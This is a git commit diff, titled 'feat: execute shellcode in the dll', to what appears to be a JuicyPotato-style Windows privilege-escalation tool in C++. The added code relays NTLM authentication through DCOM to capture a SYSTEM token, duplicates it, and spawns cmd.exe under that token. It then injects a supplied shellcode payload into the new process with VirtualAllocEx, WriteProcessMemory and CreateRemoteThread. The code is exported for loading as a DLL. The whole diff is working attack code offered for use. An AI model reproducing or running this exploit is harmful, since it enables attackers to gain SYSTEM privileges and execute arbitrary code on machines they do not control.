feat: execute shellcode in the dll
parent
7653d64c4a
commit
944bda316e
|
@ -22,6 +22,8 @@
|
|||
#pragma comment (lib, "AdvApi32.lib")
|
||||
#pragma comment(lib, "userenv.lib")
|
||||
|
||||
//#define LOG 1
|
||||
|
||||
wchar_t *olestr;
|
||||
wchar_t *g_port;
|
||||
wchar_t *rpcserver;
|
||||
|
@ -29,6 +31,10 @@ wchar_t *rpcport;
|
|||
char dcom_port[12];
|
||||
char dcom_ip[17];
|
||||
|
||||
//{8BC3F05E-D86B-11D0-A075-00C04FB68820}
|
||||
|
||||
FILE* logFile;
|
||||
|
||||
static const char VERSION[] = "0.1";
|
||||
BOOL TEST_mode = FALSE;
|
||||
HANDLE elevated_token, duped_token;
|
||||
|
@ -38,13 +44,6 @@ wchar_t *processtype = NULL;
|
|||
wchar_t *processargs = NULL;
|
||||
wchar_t *processname = NULL;
|
||||
|
||||
VOID ExecutePayload(LPVOID lpPayload)
|
||||
{
|
||||
SetThreadToken(NULL, elevated_token);
|
||||
VOID(*lpCode)() = (VOID(*)())lpPayload;
|
||||
lpCode();
|
||||
}
|
||||
|
||||
int IsTokenSystem(HANDLE tok)
|
||||
{
|
||||
DWORD Size, UserSize, DomainSize;
|
||||
|
@ -55,7 +54,14 @@ int IsTokenSystem(HANDLE tok)
|
|||
Size = 0;
|
||||
GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
|
||||
if (!Size)
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Not SYSTEM\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
User = (TOKEN_USER *)malloc(Size);
|
||||
assert(User);
|
||||
|
@ -71,10 +77,23 @@ int IsTokenSystem(HANDLE tok)
|
|||
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
|
||||
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
|
||||
free(sid);
|
||||
|
||||
printf("%S;%S\\%S\n", olestr, DomainName, UserName);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "%S;%S\\%S\n", olestr, DomainName, UserName);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
if (!_wcsicmp(UserName, L"SYSTEM"))
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[+] SYSTEM\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Not SYSTEM\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
@ -169,7 +188,10 @@ int PotatoAPI::processNtlmBytes(char *bytes, int len) {
|
|||
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
|
||||
break;
|
||||
default:
|
||||
printf("Error - Unknown NTLM message type...");
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Error - Unknown NTLM message type...\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return -1;
|
||||
break;
|
||||
}
|
||||
|
@ -240,7 +262,10 @@ int PotatoAPI::startRPCConnection(void) {
|
|||
// Initialize Winsock
|
||||
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
if (iResult != 0) {
|
||||
printf("WSAStartup failed with error: %d\n", iResult);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
@ -271,7 +296,10 @@ int PotatoAPI::startRPCConnection(void) {
|
|||
|
||||
iResult = getaddrinfo(myhost, myport, &hints, &result);
|
||||
if (iResult != 0) {
|
||||
printf("getaddrinfo failed with error: %d\n", iResult);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
@ -281,7 +309,10 @@ int PotatoAPI::startRPCConnection(void) {
|
|||
// Create a SOCKET for connecting to server
|
||||
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
||||
if (ConnectSocket == INVALID_SOCKET) {
|
||||
printf("socket failed with error: %ld\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
@ -298,7 +329,10 @@ int PotatoAPI::startRPCConnection(void) {
|
|||
}
|
||||
|
||||
if (ConnectSocket == INVALID_SOCKET) {
|
||||
printf("Unable to connect to server!\n");
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Unable to connect to server!\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
@ -321,7 +355,10 @@ int PotatoAPI::startRPCConnection(void) {
|
|||
|
||||
iResult = send(ConnectSocket, sendbuf, *len, 0);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
printf("RPC -> send failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
closesocket(ConnectSocket);
|
||||
WSACleanup();
|
||||
return 0;
|
||||
|
@ -333,17 +370,25 @@ int PotatoAPI::startRPCConnection(void) {
|
|||
comSendQ->push(recvbuf);
|
||||
}
|
||||
else if (iResult == 0) {
|
||||
printf("RPC-> Connection closed\n");
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "RPC-> Connection closed\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
}
|
||||
else {
|
||||
printf("RPC -> recv failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
} while (iResult > 0);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "last iResult:%d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
|
||||
//printf("last iResult:%d\n", iResult);
|
||||
fflush(stdout);
|
||||
// cleanup
|
||||
iResult = shutdown(ConnectSocket, SD_SEND);
|
||||
closesocket(ConnectSocket);
|
||||
|
@ -366,7 +411,10 @@ int PotatoAPI::startCOMListener(void) {
|
|||
// Initialize Winsock
|
||||
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
||||
if (iResult != 0) {
|
||||
printf("WSAStartup failed with error: %d\n", iResult);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return 1;
|
||||
}
|
||||
|
||||
|
@ -384,7 +432,10 @@ int PotatoAPI::startCOMListener(void) {
|
|||
iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
|
||||
|
||||
if (iResult != 0) {
|
||||
printf("getaddrinfo failed with error: %d\n", iResult);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
WSACleanup();
|
||||
return 1;
|
||||
}
|
||||
|
@ -395,7 +446,10 @@ int PotatoAPI::startCOMListener(void) {
|
|||
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
|
||||
|
||||
if (ListenSocket == INVALID_SOCKET) {
|
||||
printf("socket failed with error: %ld\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
freeaddrinfo(result);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
|
@ -403,9 +457,15 @@ int PotatoAPI::startCOMListener(void) {
|
|||
|
||||
// Setup the TCP listening socket
|
||||
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
|
||||
//printf("startCOMListener bindresult%d\n", iResult);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "startCOMListener bindresult%d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
printf("bind failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
freeaddrinfo(result);
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
|
@ -416,7 +476,10 @@ int PotatoAPI::startCOMListener(void) {
|
|||
|
||||
iResult = listen(ListenSocket, SOMAXCONN);
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
printf("listen failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
|
@ -433,7 +496,10 @@ int PotatoAPI::startCOMListener(void) {
|
|||
{
|
||||
ClientSocket = accept(ListenSocket, NULL, NULL);
|
||||
if (ClientSocket == INVALID_SOCKET) {
|
||||
printf("accept failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
closesocket(ListenSocket);
|
||||
WSACleanup();
|
||||
return 1;
|
||||
|
@ -467,7 +533,10 @@ int PotatoAPI::startCOMListener(void) {
|
|||
iSendResult = send(ClientSocket, sendbuf, *len, 0);
|
||||
|
||||
if (iSendResult == SOCKET_ERROR) {
|
||||
printf("COM -> send failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
exit(-11);
|
||||
}
|
||||
|
||||
|
@ -482,9 +551,14 @@ int PotatoAPI::startCOMListener(void) {
|
|||
exit(-1);
|
||||
}
|
||||
else {
|
||||
if (!TEST_mode)
|
||||
printf("COM -> recv failed with error: %d\n", WSAGetLastError());
|
||||
|
||||
if (!TEST_mode)
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
}
|
||||
shutdown(ClientSocket, SD_SEND);
|
||||
WSACleanup();
|
||||
|
||||
|
@ -495,9 +569,15 @@ int PotatoAPI::startCOMListener(void) {
|
|||
|
||||
// shutdown the connection since we're done
|
||||
iResult = shutdown(ClientSocket, SD_SEND);
|
||||
// printf("startCOMListener iResult ComLisetner:%d\n", iResult);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "\nstartCOMListener iResult ComLisetner:%d\n", iResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
if (iResult == SOCKET_ERROR) {
|
||||
printf("shutdown failed with error: %d\n", WSAGetLastError());
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
closesocket(ClientSocket);
|
||||
WSACleanup();
|
||||
exit(-1);
|
||||
|
@ -516,7 +596,10 @@ BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
|
|||
|
||||
if (!LookupPrivilegeValue(NULL, priv, &luid))
|
||||
{
|
||||
printf("Priv Lookup FALSE\n");
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Priv Lookup FALSE\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
@ -531,7 +614,10 @@ BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
|
|||
(PTOKEN_PRIVILEGES)NULL,
|
||||
(PDWORD)NULL))
|
||||
{
|
||||
printf("Priv Adjust FALSE\n");
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Priv Adjust FALSE\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
|
@ -631,10 +717,10 @@ int wmain(int argc, wchar_t** argv)
|
|||
if (olestr == NULL)
|
||||
olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
|
||||
|
||||
exit(Juicy(NULL, FALSE));
|
||||
exit(Juicy(NULL, FALSE, NULL, 0));
|
||||
}
|
||||
|
||||
int Juicy(wchar_t *clsid, BOOL brute)
|
||||
int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength)
|
||||
{
|
||||
PotatoAPI* test = new PotatoAPI();
|
||||
test->startCOMListenerThread();
|
||||
|
@ -643,8 +729,12 @@ int Juicy(wchar_t *clsid, BOOL brute)
|
|||
olestr = clsid;
|
||||
|
||||
if (!TEST_mode)
|
||||
printf("Testing %S %S\n", olestr, g_port);
|
||||
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "Testing %S %S\n", olestr, g_port);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
}
|
||||
|
||||
test->startRPCConnectionThread();
|
||||
test->triggerDCOM();
|
||||
|
@ -656,18 +746,27 @@ int Juicy(wchar_t *clsid, BOOL brute)
|
|||
|
||||
if (test->negotiator->authResult != -1)
|
||||
{
|
||||
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
SECURITY_DESCRIPTOR sdSecurityDescriptor;
|
||||
if (!TEST_mode)
|
||||
printf("\n[+] authresult %d\n", test->negotiator->authResult);
|
||||
|
||||
fflush(stdout);
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "\n[+] authresult %d\n", test->negotiator->authResult);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
}
|
||||
|
||||
// Get a token for this process.
|
||||
if (!OpenProcessToken(GetCurrentProcess(),
|
||||
TOKEN_ALL_ACCESS, &hToken))return 0;
|
||||
TOKEN_ALL_ACCESS, &hToken))
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "[-] Exit OpenProcessToken\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
return 0;
|
||||
}
|
||||
|
||||
//enable privileges
|
||||
EnablePriv(hToken, SE_IMPERSONATE_NAME);
|
||||
|
@ -680,6 +779,70 @@ int Juicy(wchar_t *clsid, BOOL brute)
|
|||
|
||||
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
|
||||
IsTokenSystem(elevated_token);
|
||||
|
||||
result = DuplicateTokenEx(elevated_token,
|
||||
TOKEN_ALL_ACCESS,
|
||||
NULL,
|
||||
SecurityImpersonation,
|
||||
TokenPrimary,
|
||||
&duped_token);
|
||||
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
SECURITY_ATTRIBUTES sa;
|
||||
|
||||
ZeroMemory(&si, sizeof(STARTUPINFO));
|
||||
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
||||
memset(&pi, 0x00, sizeof(PROCESS_INFORMATION));
|
||||
si.cb = sizeof(STARTUPINFO);
|
||||
si.lpDesktop = L"winsta0\\default";
|
||||
|
||||
result = CreateProcessWithTokenW(duped_token,
|
||||
0,
|
||||
L"cmd.exe",
|
||||
NULL,
|
||||
0,
|
||||
NULL,
|
||||
NULL,
|
||||
&si,
|
||||
&pi);
|
||||
|
||||
if (!result)
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "\n[-] CreateProcessWithTokenW Failed to create proc: %d\n", GetLastError());
|
||||
fflush(logFile);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n");
|
||||
fprintf(logFile, "Payload length = %d\n", lPayloadLength);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
|
||||
LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
SIZE_T lpnumber = 0;
|
||||
BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "WriteProcessResult: %d lpnumber = %d\n", b, lpnumber);
|
||||
fflush(logFile);
|
||||
#endif
|
||||
|
||||
HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);
|
||||
|
||||
if (h == NULL)
|
||||
{
|
||||
#ifdef LOG
|
||||
fprintf(logFile, "Failed to execute shellcode\n");
|
||||
fflush(logFile);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
break;
|
||||
}//end auth
|
||||
}
|
||||
return result;
|
||||
|
@ -687,29 +850,59 @@ int Juicy(wchar_t *clsid, BOOL brute)
|
|||
|
||||
void EntryPoint(LPVOID lpReserved)
|
||||
{
|
||||
BOOL brute = FALSE;
|
||||
int offset = 0;
|
||||
wchar_t clsid[100];
|
||||
wchar_t gport[100];
|
||||
wchar_t gserver[100];
|
||||
wchar_t server[100];
|
||||
wchar_t port[100];
|
||||
wchar_t gip[100];
|
||||
mbstowcs(clsid, (char*)lpReserved, 100);
|
||||
olestr = clsid;
|
||||
offset += wcslen(clsid) + 1;
|
||||
mbstowcs(gport, ((char*)lpReserved) + offset, 100);
|
||||
g_port = gport;
|
||||
offset += wcslen(gport) + 1;
|
||||
mbstowcs(server, ((char*)lpReserved) + offset, 100);
|
||||
rpcserver = server;
|
||||
offset += wcslen(server) + 1;
|
||||
mbstowcs(port, ((char*)lpReserved) + offset, 100);
|
||||
rpcport = port;
|
||||
offset += wcslen(port) + 1;
|
||||
mbstowcs(gip, ((char*)lpReserved) + offset, 100);
|
||||
memset(dcom_ip, 0, 17);
|
||||
wcstombs(dcom_ip, gip, wcslen(gip));
|
||||
#ifdef LOG
|
||||
logFile = fopen("C:\\Users\\Public\\juicy.txt", "w");
|
||||
#endif
|
||||
|
||||
Juicy(olestr, brute);
|
||||
BOOL brute = FALSE;
|
||||
int len;
|
||||
long payloadLength;
|
||||
char *buff = (char *)lpReserved;
|
||||
|
||||
|
||||
len = strlen(buff) + 1;
|
||||
olestr = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
||||
mbstowcs(olestr, buff, len);
|
||||
buff += len;
|
||||
|
||||
|
||||
len = strlen(buff) + 1;
|
||||
g_port = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
||||
mbstowcs(g_port, buff, len);
|
||||
buff += len;
|
||||
|
||||
|
||||
len = strlen(buff) + 1;
|
||||
rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
||||
mbstowcs(rpcserver, buff, len);
|
||||
buff += len;
|
||||
|
||||
|
||||
len = strlen(buff) + 1;
|
||||
rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
||||
mbstowcs(rpcport, buff, len);
|
||||
buff += len;
|
||||
|
||||
|
||||
len = strlen(buff) + 1;
|
||||
strcpy(dcom_ip, buff);
|
||||
buff += len;
|
||||
|
||||
|
||||
len = strlen(buff) + 1;
|
||||
payloadLength = atol(buff);
|
||||
buff += len;
|
||||
|
||||
|
||||
Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength);
|
||||
|
||||
|
||||
free(olestr);
|
||||
free(g_port);
|
||||
free(rpcserver);
|
||||
free(rpcport);
|
||||
|
||||
#ifdef LOG
|
||||
fclose(logFile);
|
||||
#endif
|
||||
}
|
||||
|
|
|
@ -28,4 +28,4 @@ public:
|
|||
};
|
||||
|
||||
extern "C" __declspec(dllexport) void EntryPoint(LPVOID lpReserved);
|
||||
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute);
|
||||
extern "C" __declspec(dllexport) int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength);
|
||||
|
|
Loading…
Reference in New Issue